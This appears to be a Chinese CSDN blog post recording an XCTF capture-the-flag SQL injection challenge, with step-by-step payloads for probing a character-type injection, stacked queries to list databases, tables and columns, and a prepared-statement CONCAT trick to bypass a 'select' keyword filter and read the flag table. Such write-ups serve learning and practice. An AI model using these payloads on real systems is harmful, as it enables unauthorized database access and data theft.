2020-12-20 xctf刷题记录

sqli1 and 1=11 and 1=2正常且有回显 说明存在注入1’ 报错 说明为字符型注入1’# 正常且有回显 说明为单引号闭合1’ order by 1# 正常且有回显1’ order by 2# 正常且有回显1’ order by 3# 报错说明注入点在2,有两列于是union查询’ and 1=2 union select 1,2,database()#触发了过滤原则 select被ban掉了思路受阻参考wp发现这个题考查了堆叠注入于是查看所有的表名1
摘要由CSDN通过智能技术生成

sqli

1 and 1=1
1 and 1=2
正常且有回显 说明存在注入
1’ 报错 说明为字符型注入
1’# 正常且有回显 说明为单引号闭合
1’ order by 1# 正常且有回显
1’ order by 2# 正常且有回显
1’ order by 3# 报错
说明注入点在2,有两列

于是union查询
’ and 1=2 union select 1,2,database()#
触发了过滤原则 select被ban掉了
思路受阻
参考wp发现这个题考查了堆叠注入

于是查看所有的表名
1’;show databases;
得到六个库名
“ctftraining”
“information_schema”
“mysql”
“performance_schema”
“supersqli”
“test”

查看所有的表名
1’;show tables;
得到两个表名
“1919810931114514”
“words”

查看每张表里面所有的列名
1’;show columns from words;
正常且有回显,得到列名"id" “int(10)” “NO"没有想要的
1’;show columns from ‘1919810931114514’;
1’;show columns from 1919810931114514;
(注意这里的表名应该加上反引号"`",不然会没有回显)
正常且有回显,得到列名"flag”“NO”“varchar(100)”

关于反引号
1、mysql语句中 反引号 作用: 避免表名、字段名与mysql已存在的【保留字】冲突,引起不知名错误。
2、所以我们建表和字段时候,特别需要注意,尽量使用全拼/下划线 来设置字段和表名
3、连接不同数据库查询,一定不要加反引号,否则会被解析成 单个表
4、为了区分MYSQL的保留字与普通字符而引入的符号。
举个例子:SELECT select FROM test WHERE select=‘字段值’
在test表中,有个select字段,如果不用反引号,MYSQL将把select视为保留字而导致出错,所以,有MYSQL保留字作为字段的,必须加上反引号来区分。
引号一般用在字段的值,如果字段值是字符或字符串,则要加引号,如:select=‘字段值’
不加反引号建的表不能包含MYSQL保留字,否则出错
参考链接
mysql寒假要好好看看

除此之外,这道题还考查了select被ban掉之后的处理办法
预编译语句

预编译语句的流程
SET;									# 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt;	# 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name;			 			# 执行语句
{
   DEALLOCATE | DROP} PREPARE stmt_name;	# 用来释放掉预处理的语句

于是我们构造

-1'; #前面的语句不执行
set @sql=CONCAT('se','lect * from `1919810931114514`;'); #连接这两个字符串变量
prepare stmt from @sql; 
execute stmt;
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值